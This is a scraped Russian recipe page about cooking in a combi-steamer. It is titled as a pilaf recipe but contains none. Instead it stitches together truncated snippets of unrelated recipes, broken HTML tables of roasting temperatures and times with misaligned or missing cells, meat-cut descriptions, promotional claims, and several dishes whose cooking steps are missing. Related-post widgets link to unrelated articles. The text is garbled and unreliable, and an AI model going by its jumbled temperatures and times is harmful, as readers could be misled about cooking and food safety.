Плов в пароконвектомате рецепт

Содержание:

0.1 Популярные рецепты

1 Картофель фри
- 1.1 Технология приготовления в пароконвектомате:
- 1.2 Рекомендации
2 Вырезка с овощами-гриль, приготовленная на низкой температуре

Популярные рецепты</span></h3> <p>1. Царское варенье из крыжовника Ингредиенты: Крупный зеленый недозрелый крыжовник — 5 стаканов,Сахар — 1 кг,Вишневый лист — 2 стакана,Вода — 3 стакана,Чищенный грецкий орех — 2 стакана Способ приготовления:Ягоды крыжовника освободить от плодоножек.</p> <p>1. Салат овощной с сыром и ветчиной Ингредиенты Салатные листья 1пучок.Морковь 1шт.Сыр 100гр.Ветчина 100гр.Чеснок по вкусу. Для заправки: Майонез и кефир в желаемых пропорциях, можно заменить сметаной.Соль, перец по вкусу. Как приготовить 1. Салатные.</p> <p>Ингредиенты: ● Яйцо — 1 шт. ● Сахар — 2 ст. л. (по вкусу)● Ванилин — 1 пакетик● Кефир — 0,5 л● Мука — 400 г● Разрыхлитель (или сода) — 1 ст. л. (1.</p> <p>Самый простой рецепт! Вам потребуется: Бисквит:— яйцо,— 1 стакан сметаны,— 1 стакан сахара,— 1 стакан муки. Крем: грамм 700 сметаны и стакан сахара. Глазурь:6 ложек молока, пол стакана сахара, 2 ст. ложки какао Как.</p> <p>Ингредиенты: — 250 мл кефира — 150 г муки— 2 яйца— 200 г сыра— 200 г сосисок (или колбасы)— 1 чайная ложка разрыхлителя— соль Приготовление: 1) Сыр натереть на крупной терке. Сосиски порезать тонкими.</p> <p>Время жарки, мин</p> <td>Т мяса, °С</td> <tr> <td>Виды мяса</td> </tr> <tr> <td>Курица</td> <td>180</td> <td>70-90</td> <td>82</td> <td>Шампур</td> </tr> <tr> <td>200</td> <td>70-80</td> </tr> <tr> <td>200-170</td> <td>50-60</td> </tr> <tr> <td>Утка</td> <td>170-180</td> <td>100-160</td> <td>82-90</td> <td>Шампур</td> </tr> <tr> <td>200-140</td> <td>110</td> </tr> <tr> <td>Индейка</td> <td>160-170</td> <td>160-240</td> <td>82-90</td> <td>Шампур</td> </tr> <tr> <td>Индейка (3 кг)</td> <td>200</td> <td>70-80</td> <td>t воздуха</td> </tr> <tr> <td>Свинина</td> <td>160-170</td> <td>70-100</td> <td>75-85</td> <td>мякоть</td> <td>Люлька</td> </tr> <tr> <td>Баранина</td> <td>140-160</td> <td>100-130</td> <td>80-85</td> </tr> <tr> <td>Телятина</td> <td>160-180</td> <td>65-90</td> <td>75-80</td> </tr> <tr> <td>Говядина (филе)</td> <td>170-190</td> <td>35-45</td> <td>75-80</td> </tr> <tr> <td>Кролик</td> <td>160-170</td> <td>80-100</td> <td>70-75</td> <td>Шампур</td> </tr> <tr> <td>160</td> </tr> <tr> <td>Заяц</td> <td>170-180</td> <td>30-50</td> <td>70-75</td> <td>Шампур</td> </tr> <tr> <td>Рыба</td> <td>160-180</td> <td>в зав-ти от массы</td> <td>60-63</td> <td>Люлька</td> </tr> <tr> <td>Мучные изделия</td> </tr> <tr> <td>Пицца дрожжевая</td> <td>210-230</td> <td>30-50</td> <td>92-94</td> <td>Лоток</td> </tr> <tr> <td>тонкая</td> <td>200-220</td> <td>10-25</td> </tr> <tr> <td>Пицца пресная</td> <td>205</td> <td>35</td> <td>t воздуха</td> <td>Лоток</td> </tr> <tr> <td>Пицца заморозка</td> <td>210-220</td> <td>5-10</td> <td>изготовитель</td> <td>Лоток</td> </tr> <tr> <td>260</td> <td>7</td> </tr> <tr> <td>Лазанья запеченная</td> <td>170</td> <td>35-40</td> <td>на 1 кг</td> <td>Лоток</td> </tr> <tr> <td>180</td> <td>30-35</td> <td>до зол-кор цв</td> </tr> <tr> <td>210-230</td> <td>20-25</td> </tr> <tr> <td>Овощи</td> </tr> <tr> <td>Картофель соломка</td> <td>205-235</td> <td>10-25</td> <td>Люлька+вклад</td> </tr> <tr> <td>Картофель печеный</td> <td>230</td> <td>35-45</td> <td>t воздуха</td> <td>Люлька</td> </tr> <p>Температура внутри толщи мяса:</p> <p>Курица – 82°С; Свинина – 81°С; Говядина – 76°С; Баранина – 82°С</p> <p>1.Крупнокусковые мясные п/ф 1,5-2,5 кг; 2.Порционные п/ф 80-125 г;</p> <p>3.Мелкокусковые п/ф 30-40 г; 4.Курица; 5.Рыба; 6.Овощи;</p> <p>7.Мучные изделия; 8.Разогрев блюд.</p> <p>Необходимость прогрева гриля:</p> <p>для порционных п/ф и курицы – обязательно;</p> <p>для крупнокусковых п/ф – не обязательно.</p> <p>Духовой шкаф; Конвекционная печь; Аэрогриль; Контактный гриль</p> <p>Время жарки, мин</p> <td>Т мяса, °С</td> <tr> <td>Крупнокусковые п/ф</td> <p>Чем больше кусок мяса, тем меньше t жарки</p> <p>(на 10-20°С) и больше время жарки</p> </p> </tr> <tr> <td>Свинина</td> </tr> <tr> <td>Буженина</td> <td>180-185</td> <td>75</td> <td>75-80</td> <td>+ пар</td> <td>Люлька</td> </tr> <tr> <td>150</td> <td>180</td> </tr> <tr> <td>Свиные рульки</td> <td>190-230</td> <td>70-100</td> <td>82-84</td> <td>+ пар</td> <td>Люлька</td> </tr> <tr> <td>100</p> </td> <td>+ пар</td> </tr> <tr> <td>Корейка свиная</td> <td>160-170</td> <td>110</td> <td>75-80</td> <td>+ пар</td> <td>Люлька</td> </tr> <tr> <td>Грудинка свиная</td> <td>190-230</td> <td>80-85</td> </tr> <tr> <td>Телятина</td> </tr> <tr> <td>Крупнокусковая телятина</td> <td>130-190</td> <td>65-90</td> <td>75-80</td> </tr> <tr> <td>Телятина (500г)</td> <td>190</p> </td> <td>75-80</td> </tr> <tr> <td>Телячьи рульки</td> <td>130-170</td> <td>80-90</td> <td>+ пар</td> <td>Люлька</td> </tr> <tr> <td>Баранина</td> </tr> <tr> <td>Баранья нога</td> <td>170-130</td> <td>80-85</td> <td>Люлька</td> </tr> <tr> <td>230-250</td> <td>30 мин/кг</td> </tr> <tr> <td>Нога или лопатка</td> <td>260</p> </td> <td>t воздуха</td> </tr> <tr> <td>Седло барашка</td> <td>170-150</td> <td>60-75</td> <td>80</td> </tr> <tr> <td>Говядина</td> </tr> <tr> <td>Ростбиф</td> <td>130-150</td> </tr> <tr> <td>100-</p> <div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://foodieinfo.ru/pirozhnoe-slojka-s-kremom/" target="_blank" class="u2aa34e9aa80b4a4605090b98354c1664"><style> .u2aa34e9aa80b4a4605090b98354c1664 , .u2aa34e9aa80b4a4605090b98354c1664 .postImageUrl , .u2aa34e9aa80b4a4605090b98354c1664 .centered-text-area { min-height: 80px; position: relative; } .u2aa34e9aa80b4a4605090b98354c1664 , .u2aa34e9aa80b4a4605090b98354c1664:hover , .u2aa34e9aa80b4a4605090b98354c1664:visited , .u2aa34e9aa80b4a4605090b98354c1664:active { border:0!important; } .u2aa34e9aa80b4a4605090b98354c1664 .clearfix:after { content: ""; display: table; clear: both; } .u2aa34e9aa80b4a4605090b98354c1664 { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #eaeaea; } .u2aa34e9aa80b4a4605090b98354c1664:active , .u2aa34e9aa80b4a4605090b98354c1664:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #16A085; } .u2aa34e9aa80b4a4605090b98354c1664 .centered-text-area { width: 100%; position: relative; } .u2aa34e9aa80b4a4605090b98354c1664 .ctaText { border-bottom: 0 solid #fff; color: #000000; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .u2aa34e9aa80b4a4605090b98354c1664 .postTitle { color: #16A085; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .u2aa34e9aa80b4a4605090b98354c1664 .ctaButton { background-color: #FFFFFF!important; color: #000000; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://foodieinfo.ru/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .u2aa34e9aa80b4a4605090b98354c1664:hover .ctaButton { background-color: #1ABC9C!important; } .u2aa34e9aa80b4a4605090b98354c1664 .centered-text { display: table; height: 80px; padding-left: 18px; top: 0; } .u2aa34e9aa80b4a4605090b98354c1664 .u2aa34e9aa80b4a4605090b98354c1664-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .u2aa34e9aa80b4a4605090b98354c1664:after { content: ""; display: block; clear: both; } </style><div class="centered-text-area"><div class="centered-text" style="float: left;"><div class="u2aa34e9aa80b4a4605090b98354c1664-content"><span class="ctaText">Вкусный рецепт!</span>  <span class="postTitle">Пирожное слойка с кремом</span></div></div></div><div class="ctaButton"></div></a></div></td> </tr> <tr> <td>Ростбиф</td> <td>130-180</td> <td>70-100</td> <td>75-85</td> </tr> <tr> <td>Грудинка или вырезка на 500 г</td> <td>260</td> <td>12-14</td> <td>t воздуха</td> </tr> <tr> <td>Говядина с костью</p> </td> <td>t воздуха</td> </tr> <tr> <td>180</td> <td>20-25</td> </tr> <tr> <td>Говядина без кости</p> </td> </tr> <tr> <td>180</td> <td>25-30</td> <td>t воздуха</td> </tr> <tr> <td>Низкотемпературная жарка</td> <td>150</td> <td>30-35</td> </tr> <p>Время жарки, мин</p> <td>Т мяса, °С</td> <tr> <td>Порционные п/ф</td> </tr> <tr> <td>П/ф толщиной 1 см</td> <td>10</td> <td>с 2 сторон</td> </tr> <tr> <td>Курица</td> </tr> <tr> <td>Куриные части</td> <td>220-250</td> <td>35-50</td> <td>82</td> <td>Люлька/шампур</td> </tr> <tr> <td>Куриные окорока</td> <td>235</td> <td>40</td> <td>Шампур</td> </tr> <tr> <td>Крылышки</td> </tr> <p><td>t воздуха</td> </p> <p><td>Шампур</td> <tr> <td>Куриные грудки</td> <td>180</td> <td>10-15</td> <td>t воздуха</td> <td>Лоток</td> </tr> <tr> <td>Курин грудки панир</td> <td>235-250</td> <td>15-20</td> <td>82</td> <td>в панировке</td> <td>Лоток</td> </tr> <tr> <td>Шашлык из грудки</td> <td>205</td> <td>10</td> <td>t воздуха</td> <td>Подвес</td> </tr> <tr> <td>Филе индейки</td> <td>130-170</td> <td>25</td> <td>72-75</td> <td>Лоток</td> </tr> <tr> <td>Грудки индейки</td> <td>200</td> <td>45-60</td> <td>t воздуха</td> <td>Лоток</td> </tr> <tr> <td>Свинина</td> </tr> <tr> <td>Свиные ребрышки</td> <td>200-180</td> <td>60</td> <td>75-80</td> <td>+соус</td> <td>Лоток глубокий</td> </tr> <tr> <td>205</td> </tr> <tr> <td>195</td> <td>35</td> </tr> <tr> <td>Свиные стейки</td> <td>10</td> <td>75-80</td> <td>с 2 сторон</td> </tr> <tr> <td>Отбивные</td> <td>170</td> <td>15-25</td> <td>75-80</td> <td>Лоток</td> </tr> <tr> <td>200</td> <td>8-10</td> <td>t воздуха</td> </tr> <tr> <td>Свиное филе</td> <td>220</td> <td>20-23</td> <td>Лоток</td> </tr> <tr> <td>Шашлык</td> <td>75-80</td> <td>Подвес</td> </tr> <tr> <td>Шницель</td> <td>180</td> <td>10</td> <td>80-82</td> <td>в панировке</td> <td>Лоток</td> </tr> <tr> <td>Купаты</td> <td>220-250</td> <td>15-20</td> <td>81</td> <td>Вкладыш</td> </tr> <tr> <td>Колбаски</td> <td>230</td> <td>8-10</td> <td>t воздуха</td> <td>Вкладыш</td> </tr> <tr> <td>Говядина</td> </tr> <tr> <td>Говяжье филе</td> <td>170-190</td> <td>35-45</td> <td>76-78</td> </tr> <tr> <td>Бифштекс</td> <td>180</td> </tr> <p><td>76-78</td> <tr> <td>Бифштекс с костью</td> <td>20-25</td> </tr> <tr> <td>Бифштекс в тесте</td> <td>170</td> <td>30-50</td> <td>Лоток/люлька</td> </tr> <tr> <td>Рыба</td> </tr> <tr> <td>Целая тушка (500г)</td> <td>170</td> <td>40-60</td> <td>+ пар</td> <td>Люлька+вклад</td> </tr> <tr> <td>Рыба в сухарях</td> <td>230</td> <td>25</td> <td>63</td> <td>Лоток</td> </tr> <tr> <td>Рыба в фольге</td> <td>180</td> <td>15</td> <td>t воздуха</td> <td>Люлька</td> </tr> <tr> <td>Шашлык из рыбы</td> <td>235</td> </tr> <p><td>t воздуха</td> <td>Подвес</td> <tr> <td>Рыбные котлеты</td> <td>200</td> <td>7-10</td> <td>t воздуха</td> <td>Вкладыш/лоток</td> </tr> <p>Зеленый цвет – идеально подходят по условиям приготовления</p> <p>Желтый цвет – включены в общий список для дальнейших испытаний</p> <p>Красный цвет – не применимо для приготовления в гриле МК-21</p> <p>Свинина. Баранина. Жарят:</p> <p>Корейка (с ребрами и без них)</p> <p>Толстое место (жарка куском или долями)</p> <p>Верхняя часть ноги – филейная (бифштексы)</p> <p>Нижняя часть ноги – нога (меньше мяса)</p> <p>Ребра (подают с соусом)</p> <p>Рулька (рулька – варят; мясо рульки – в рулет и жарят)</p> <p>Буженина – жареный или запеченный продукт, приготовленный из натертого солью и специями свиного окорока с кожей без кости.</p> <p>Окорок – верхняя филейная часть – превосходное мясо для жаренья на открытом огне.</p> <p>Свиные рульки – это часть свиной ноги между окороком и копытцем, т.е. нижняя часть ноги, относится только к передней ноге. На ней еще достаточно мяса и жира, но уже много жилок. И конечно, косточка. Рульку обычно варят. Мясо рульки может быть скатано в рулет и в таком виде продаваться для жаренья или тушения.</p> <p>Свиные рульки, чаще всего шпигуют, обсыпают солью, перцем и запекают. Требуют длительного приготовления.</p> <p>Корейка свиная (карбонат) – это верхняя часть туши, содержащая небольшое количество нежной ткани, поэтому её используют для жаренья целиком, а также готовят отбивные, эскалоп и шашлык.</p> <p>Грудинка свиная – при разделке полностью не обваливают, оставляют ребра. Грудинку жарят целиком (тонкие куски мяса) в натуральном и фаршированном виде. Крупные куски солят и скатывают в рулет для варки, продают как бекон с прожилками. Порционные п/ф не готовят.</p> <p>Баранья нога – содержит небольшое количество нежной соединительной ткани, поэтому её используют для приготовления жареных блюд: для жарки целиком, шницеля и шашлыка.</p> <p>Седло барашка – бараний бок – мясо поясничной части корейки вместе с позвонками. Готовят в виде рулета (обвязывают шпагатом), используют для банкетов.</p> <p>Свинина. Порционные п/ф.</p> <p>Порционные куски натурального мяса для жарки: шницель, эскалоп, котлета натуральная.</p> <p>Стейк свиной – нежное мясо филе корейки, нарезанное на порции по 200 г.</p> <div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://foodieinfo.ru/kak-pravilno-risovat-strelki-na-vekah/" target="_blank" class="ua0da941246c49846fe30deafb5d9e72c"><style> .ua0da941246c49846fe30deafb5d9e72c , .ua0da941246c49846fe30deafb5d9e72c .postImageUrl , .ua0da941246c49846fe30deafb5d9e72c .centered-text-area { min-height: 80px; position: relative; } .ua0da941246c49846fe30deafb5d9e72c , .ua0da941246c49846fe30deafb5d9e72c:hover , .ua0da941246c49846fe30deafb5d9e72c:visited , .ua0da941246c49846fe30deafb5d9e72c:active { border:0!important; } .ua0da941246c49846fe30deafb5d9e72c .clearfix:after { content: ""; display: table; clear: both; } .ua0da941246c49846fe30deafb5d9e72c { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #eaeaea; } .ua0da941246c49846fe30deafb5d9e72c:active , .ua0da941246c49846fe30deafb5d9e72c:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #16A085; } .ua0da941246c49846fe30deafb5d9e72c .centered-text-area { width: 100%; position: relative; } .ua0da941246c49846fe30deafb5d9e72c .ctaText { border-bottom: 0 solid #fff; color: #000000; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .ua0da941246c49846fe30deafb5d9e72c .postTitle { color: #16A085; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .ua0da941246c49846fe30deafb5d9e72c .ctaButton { background-color: #FFFFFF!important; color: #000000; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://foodieinfo.ru/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .ua0da941246c49846fe30deafb5d9e72c:hover .ctaButton { background-color: #1ABC9C!important; } .ua0da941246c49846fe30deafb5d9e72c .centered-text { display: table; height: 80px; padding-left: 18px; top: 0; } .ua0da941246c49846fe30deafb5d9e72c .ua0da941246c49846fe30deafb5d9e72c-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .ua0da941246c49846fe30deafb5d9e72c:after { content: ""; display: block; clear: both; } </style><div class="centered-text-area"><div class="centered-text" style="float: left;"><div class="ua0da941246c49846fe30deafb5d9e72c-content"><span class="ctaText">Вкусный рецепт!</span>  <span class="postTitle">Как правильно рисовать стрелки на веках</span></div></div></div><div class="ctaButton"></div></a></div><p>Отбивная – нежное мясо корейки. Очищают от пленок, отбивают, смачивают в льезоне, панируют в сухорях.</p> <p>Шницель – отбитый порционный кусок мяса окорока. Придают овально-продолговатую форму, панируют в льезоне и сухарях.</p> <p>Шашлык – кусочки мяса окорока и корейки, массой 30-40 г.</p> <p>Шейная часть туши (мясо без ребер, жарят одним куском)</p> <p>Спиная часть – высококачественное мясо (порцион куски с косточкой и без неё)</p> <p>Поясничная часть + филе – нежное и постное мясо (отбивные котлеты, мясо без кости – в рулет, филе – жарка медальонами)</p> <p>Кострец – после поясничной части перед бедром (большой кусок – жарка в духовке; порцион куски – на огне, на сковороде – эскалопы)</p> <p>Бедро (большой кусок – жарка в духовке; порцион куски – эскалопы – на сковороде)</p> <p>Голяшка – задняя нога и Рулька – передняя нога (жарят после отваривания, используют для тушения и получения ароматного бульона)</p> <p>Лопатка (жарят без кости в духовке)</p> <p>Телячьи рульки – это часть ноги между окороком и копытцем, т.е. ниже колена, относится только к передней ноге. Требуют длительного приготовления.</p> <p>Телячья грудинка – содержит более грубую соединительную ткань, поэтому используют в основном для отваривания или тушения жареных блюд. Мясо используется без костей, готовят в виде рулета.</p> <p>Хребтовой край шеи (мясо без костей для бифштексов, др. мясо для тушения)</p> <p>Лопатка (порционные куски – бифштексы)</p> <p>Толстый край (ростбиф, запекание крупным куском, мясо без ребер в рулет)</p> <p>Тонкий край (идеален для ростбифа, запекают целиком в духовке,</p> <p>порционные куски – бифштексы)</p> <p>Кострец – верхняя часть задней ноги</p> <p>(идеален для бифштекса, куски весом 1,5 кг – для ростбифа)</p> <p>Вырезка (бифштекс – для жарки на решетке, огне, сковороде)</p> <p>Говядина с костью – реберная часть туши, которая продается целым куском и готовится как мясо на косточках.</p> <p>Ростбиф – это крупный кусок нежного мяса вырезки, толстого и тонкого края используемый для жарки и гриля. Чтобы придать сочность его оборачивают тонким пластом-шпигом.</p> <p>Говядина. Порционные п/ф.</p> <p>Порционные куски натурального мяса для жарки: бифштекс, филе, лангет, антрекот, ромштекс.</p> <p>Филе говяжье – порционный кусок натурального мяса. Используют для жарки.</p> <p>Бифштекс – отбитый порционный кусок мяса вырезки.</p> <p><strong>Пароконвектомат – это наилучший и самый оптимальный выбор для ресторана или кафе. Всего один аппарат заменяет до 70% видов кухонного оборудования: плиту, жарочный шкаф, фритюрницу, конвекционную печь и т. д. С его помощью можно: жарить, запекать, тушить, готовить на пару и выполнять многие другие операции.</strong></p> <p>Пароконвектомат действительно умеет почти все. Я говорю «почти» потому что, скажем, блины испечь нельзя – для этого понадобится сковорода, плита или блинница. Картофель-фри можно приготовить только из полуфабрикатов. Причем, такой картофель, приготовленный в пароконвектомате, будет обезжиренным и более легким. Можно сварить бульон, а вот соус, суп или борщ лучше готовить на плите. Зато другие блюда из мяса, рыбы, овощей действительно получаются превосходно.</p> <p style="clear: both">Уже давно аксиомой стал тот факт, что блюда, приготовленные в пароконвектомате, сохраняют всю цветовую гамму, витамины и прочие питательные вещества, а благодаря тому, что все готовится без жира, полностью реализуется концепция здоровой кухни. </p> <p>Кроме того, пароконвектоматы намного удобнее для персонала, чем обычное кухонное оборудование. Нет необходимости постоянно следить за процессом приготовления – помешивать блюдо, заглядывать в духовку, сдвигать крышку, переворачивать продукты и т.п. <br /><img style="float: left; margin: 0 10px 5px 0;" src="https://www.evernote.com/shard/s309/res/c7b6a7a7-656d-4a28-93a3-94088fcda2da.jpg" /></p> <div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://foodieinfo.ru/doktor-haus-novaja-komanda/" target="_blank" class="ud7e7bf5479f1bff78560e3092ba8b4a7"><style> .ud7e7bf5479f1bff78560e3092ba8b4a7 , .ud7e7bf5479f1bff78560e3092ba8b4a7 .postImageUrl , .ud7e7bf5479f1bff78560e3092ba8b4a7 .centered-text-area { min-height: 80px; position: relative; } .ud7e7bf5479f1bff78560e3092ba8b4a7 , .ud7e7bf5479f1bff78560e3092ba8b4a7:hover , .ud7e7bf5479f1bff78560e3092ba8b4a7:visited , .ud7e7bf5479f1bff78560e3092ba8b4a7:active { border:0!important; } .ud7e7bf5479f1bff78560e3092ba8b4a7 .clearfix:after { content: ""; display: table; clear: both; } .ud7e7bf5479f1bff78560e3092ba8b4a7 { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #eaeaea; } .ud7e7bf5479f1bff78560e3092ba8b4a7:active , .ud7e7bf5479f1bff78560e3092ba8b4a7:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #16A085; } .ud7e7bf5479f1bff78560e3092ba8b4a7 .centered-text-area { width: 100%; position: relative; } .ud7e7bf5479f1bff78560e3092ba8b4a7 .ctaText { border-bottom: 0 solid #fff; color: #000000; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .ud7e7bf5479f1bff78560e3092ba8b4a7 .postTitle { color: #16A085; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .ud7e7bf5479f1bff78560e3092ba8b4a7 .ctaButton { background-color: #FFFFFF!important; color: #000000; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://foodieinfo.ru/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .ud7e7bf5479f1bff78560e3092ba8b4a7:hover .ctaButton { background-color: #1ABC9C!important; } .ud7e7bf5479f1bff78560e3092ba8b4a7 .centered-text { display: table; height: 80px; padding-left: 18px; top: 0; } .ud7e7bf5479f1bff78560e3092ba8b4a7 .ud7e7bf5479f1bff78560e3092ba8b4a7-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .ud7e7bf5479f1bff78560e3092ba8b4a7:after { content: ""; display: block; clear: both; } </style><div class="centered-text-area"><div class="centered-text" style="float: left;"><div class="ud7e7bf5479f1bff78560e3092ba8b4a7-content"><span class="ctaText">Вкусный рецепт!</span>  <span class="postTitle">Доктор хаус новая команда</span></div></div></div><div class="ctaButton"></div></a></div><h2><span id="i-2">Картофель фри</span></h2> <p><strong>Температура приготовления</strong> – 200 °С.</p> <ul> <li>Климат – влажность (20 %).</li> <li>Время приготовления картофеля-фри размером 10×10мм, весом 1,2 кг — 12 минут.</li> </ul> <h3><span id="i-3">Технология приготовления в пароконвектомате:</span></h3> <ol> <li>Разогреть пароконвектомат до 210°С. (5-7 минут).</li> <li>Выложить в корзину для приготовления картофеля, замороженный полуфабрикат.</li> <li>Поместить в разогретый пароконвектомат.</li> <li>Готовить 12 минут при влажности 20%.</li> <li>По окончанию приготовления — посолить.</li> <li>Подавать горячим.</li> </ol> <h3><span id="i-4">Рекомендации</span></h3> <p>Данный рецепт подходит для всех <strong>пароконвектоматов</strong>. С помощью <strong>корзины для приготовления картофеля-фри</strong> вы приготовите картофель без добавления жира или масла для фритюра.</p> <p>Например, рекомендуемый объем загрузки для одной корзины составляет примерно 1,2 кг картофеля-фри.</p> <p>Эффективное время приготовления зависит от состояния, качества и количества продуктов, а также от выбранной степени готовности и подрумянивания. Данный способ подходит для полуфабрикатов глубокой заморозки.</p> <p>Уже давно аксиомой стал тот факт, что блюда, приготовленные в пароконвектомате, сохраняют всю цветовую гамму, витамины и прочие питательные вещества, а благодаря тому, что все готовится без жира, полностью реализуется концепция здоровой кухни. Кроме того, пароконвектоматы намного удобнее для персонала, чем обычное кухонное оборудование.</p> <h2><span id="i-5">Вырезка с овощами-гриль, приготовленная на низкой температуре</span></h2> <p><strong>Ингредиенты:</strong></p> <p>Вырезка говяжья – 1000 г. <br />Горчица – 50 г. <br />Масло оливковое – 15 г. <br />Баклажаны – 300 г. <br />Цукини – 300 г. <br />Перец болгарский – 300 г. <br />Масло оливковое – 50 г. <br />Специи: тимьян, розмарин, базилик, орегано, чеснок.</p> <h3><span id="i-6">Технология приготовления в пароконвектомате</span></h3> <ul> <li>1 этап: 190°C 6 минут. Эффект быстрой обжарки (удаление микробов). <br />Достаем мясо и охлаждаем рабочую камеру до 70 градусов.</li> <li>2 этап: Сухой режим 70°C, щуп (в зависимости от степени прожарки) 50, 56, 64°C. Минимальные потери — 15%. После приготовления мясо можно порционировать. При необходимости быстро обжарить на гриле или сковороде, посолить.</li> </ul> <h3><span id="i-7">Ингредиенты:</span></h3> <ul> <li>Семга – 400 г.</li> <li>Брокколи – 150 г.</li> <li>Цветная капуста – 150 г.</li> <li>Лук-порей – 100 г.</li> <li>Специи для рыбы.</li> <li>Масло оливковое (для подачи) – 50 г.</li> </ul> <h3><span id="i-8">Технология приготовления в пароконвектомате</span></h3> <h3><span id="i-9">Ингредиенты:</span></h3> <ul> <li>Утка – 2000 г.</li> <li>Апельсины – 4 шт.</li> <li>Мед – 50 г.</li> <li>Масло растительное – 50 г.</li> <li>Соль, перец по вкусу.</li> </ul> <h3><span id="i-10">Технология приготовления в пароконвектомате</span></h3> <p>Готовить в пароконвектомате в два этапа:</p> <ul> <li>1 этап: отваривание на пару при 100°C в течении 15 минут.</li> <li>2 этап: приготовление на комбинированном режиме при температуре 140-150 °C в течении 70-80 минут.</li> </ul> <h3><span id="i-11">Ингредиенты:</span></h3> <ul> <li>Молочный поросенок – 3000 г.</li> <li>Масло растительное – 150 г.</li> <li>Соль, перец по вкусу.</li> <li>Соления.</li> </ul> <h3><span id="i-12">Технология приготовления в пароконвектомате</span></h3> <p>Готовить в пароконвектомате в три этапа:</p> <ul> <li>На первой стадии приготовления установить паровой режим, температуру 100° C 15 мин.</li> <li>На втором этапе установить комбинированный режим и увеличить температуру до 130-140° C, готовить 60 мин.</li> <li>В конце приготовления установить режим конвекции, увеличить температуру до 180-190° C и готовить 20-30 мин.</li> </ul> <h3><span id="i-13">Ингредиенты:</span></h3> <ul> <li>Курица – 1300 г.</li> <li>Виноград без косточек (черный и белый) — 200 г.</li> <li>Сливочное масло — 100 г.</li> <li>Зелень петрушки — 50 г.</li> <li>Соль, тимьян, красный и черный перец.</li> </ul> <h3><span id="i-14">Технология приготовления в пароконвектомате</span></h3> <h3><span id="i-15">Ингредиенты:</span></h3> <ul> <li>Свежий тонкокожий картофель 1500 г.</li> <li>Растительное масло.</li> <li>Специи для картофеля, или гриля.</li> <li>Соль.</li> </ul> <h3><span id="i-16">Технология приготовления в пароконвектомате</span></h3> <h3><span id="i-17">Технология приготовления</span></h3> <p>«></p> <div class="flat_pm_end"></div> <div class="ssba-classic-2 ssba ssbp-wrap left ssbp--theme-1"><div style="text-align:left"><span class="ssba-share-text">Понравился рецепт? Поделись с друзьями: </span><a data-site="vk" class="ssba_vk_share ssba_share_link" href="http://vkontakte.ru/share.php?url=https://foodieinfo.ru/plov-v-parokonvektomate-recept/" target="_blank" ><img src="https://foodieinfo.ru/wp-content/plugins/simple-share-buttons-adder/buttons/somacro/vk.png" style="width: 25px;" title="VK" class="ssba ssba-img" alt="Share on VK" /><div title="VK" class="ssbp-text">VK</div></a><a data-site="" class="ssba_facebook_share" href="http://www.facebook.com/sharer.php?u=https://foodieinfo.ru/plov-v-parokonvektomate-recept/" target="_blank" ><img src="https://foodieinfo.ru/wp-content/plugins/simple-share-buttons-adder/buttons/somacro/facebook.png" style="width: 25px;" title="Facebook" class="ssba ssba-img" alt="Share on Facebook" /><div title="Facebook" class="ssbp-text">Facebook</div></a><a data-site="" class="ssba_twitter_share" href="http://twitter.com/share?url=https://foodieinfo.ru/plov-v-parokonvektomate-recept/&text=%D0%9F%D0%BB%D0%BE%D0%B2%20%D0%B2%20%D0%BF%D0%B0%D1%80%D0%BE%D0%BA%D0%BE%D0%BD%D0%B2%D0%B5%D0%BA%D1%82%D0%BE%D0%BC%D0%B0%D1%82%D0%B5%20%D1%80%D0%B5%D1%86%D0%B5%D0%BF%D1%82%20" target="_blank" ><img src="https://foodieinfo.ru/wp-content/plugins/simple-share-buttons-adder/buttons/somacro/twitter.png" style="width: 25px;" title="Twitter" class="ssba ssba-img" alt="Tweet about this on Twitter" /><div title="Twitter" class="ssbp-text">Twitter</div></a><a data-site="linkedin" class="ssba_linkedin_share ssba_share_link" href="http://www.linkedin.com/shareArticle?mini=true&url=https://foodieinfo.ru/plov-v-parokonvektomate-recept/" target="_blank" ><img src="https://foodieinfo.ru/wp-content/plugins/simple-share-buttons-adder/buttons/somacro/linkedin.png" style="width: 25px;" title="LinkedIn" class="ssba ssba-img" alt="Share on LinkedIn" /><div title="Linkedin" 